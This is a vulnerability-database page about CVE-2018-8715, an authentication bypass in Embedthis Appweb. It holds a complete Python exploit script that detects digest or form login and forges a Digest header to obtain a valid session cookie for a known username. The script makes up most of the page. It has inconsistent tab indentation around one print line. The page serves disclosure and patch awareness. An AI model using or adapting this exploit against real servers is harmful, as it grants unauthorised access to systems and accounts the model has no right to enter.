Lucene search
K

AppWeb Authentication Bypass (Digest, Basic and Forms)(CVE-2018-8715)

🗓️ 15 Mar 2018 00:00:00Reported by My SeebugType 
seebug
 seebug
🔗 www.seebug.org👁 974 Views

Critical authentication bypass vulnerability in Appweb versions 5.5.x, 6.x, and 7.x allows unauthorized access via forged HTTP requests. A patch is available in version 7.0.3

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2018-8715
15 Mar 201801:29
attackerkb
Tenable Nessus
Appweb < 7.0.3 authCondition Authentication Bypass Vulnerability
2 Nov 201800:00
nessus
CNVD
Embedthis Software Appweb Embedthis HTTP Library Authentication Bypass Vulnerability
20 Mar 201800:00
cnvd
CVE
CVE-2018-8715
14 Mar 201820:00
cve
Cvelist
CVE-2018-8715
14 Mar 201820:00
cvelist
Nuclei
AppWeb - Authentication Bypass
18 Jun 202612:11
nuclei
NVD
CVE-2018-8715
15 Mar 201801:29
nvd
OSV
CVE-2018-8715
15 Mar 201801:29
osv
Palo Alto Networks
Denial of Service in PAN-OS Management Web Interface
20 Jul 201800:30
paloalto
Palo Alto Networks
Denial of Service in PAN-OS Management Web Interface
20 Jul 201800:30
paloalto
Rows per page

                                                import sys
import requests
import argparse

print """----------------------------------------------------------------
Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass
----------------------------------------------------------------
"""

def test_digest(r):
    auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"]
    wwwauthenticate = r.headers.get('WWW-Authenticate')

    if wwwauthenticate is None:
        return False

    for k in auth:
        if k not in wwwauthenticate:
            return False

    return True


def test_form(r):
    """ extremely shoddy recognition, expect false positives """

    auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)]
    potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")]

    if r.headers.get("WWW-Authenticate") is not None:
        return False

    for k, v in auth:
        rv = r.headers.get(k)
        if not rv:
            return False
        if v is not None and v != rv:
            return False

    potential_count = 0
    for k, v in potential_auth:
        rv = r.headers.get(k)
        if rv and v != "" and v == rv:
            potential_count += 1

    print "[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth))
    return True


def test(url):
    """ Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """

    r = requests.get(url)

    # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly
    serv = r.headers.get("Server")
    if serv and "GoAhead" in serv:
        return False

    if test_digest(r):
        return "digest"
    elif test_form(r):
        return "form"
    return None


def exploit(url, username="joshua", authtype="digest"):
    payload = { "username": username }

    headers = {
        "authorization": "Digest username={}".format(username),
        "user-agent": "TruelBot",
        "content-type": "application/x-www-form-urlencoded",
    }

    if authtype == "digest":
        r = requests.get(url, data=payload, headers=headers)
    else:
        r = requests.post(url, data=payload, headers=headers)
		
	print(r.content)
	
    if r.status_code != 200 or len(r.cookies) < 1:
        print "[!] Exploit failed, HTTP status code {}".format(r.status_code)
        return

    print "[*] Succesfully exploited, here's your c00kie:\n  {}".format(dict(r.cookies))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)")
    parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)")
    parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name")
    parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit")
    parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test")
    args = parser.parse_args()

    url = args.target
    username = args.user
    t = "form" # default will try form/post
    if args.check or not args.force:
        t = test(url)

    if t is None:
        print "[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)"
    else:
        print "[+] Potential appweb/embedthis http, {} method".format(t)

    if not args.check:
        print "[!] Exploiting {}, user {}!".format(url, username)
        exploit(url, username, t)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Mar 2018 00:00Current
8.3High risk
Vulners AI Score8.3
EPSS0.19854
974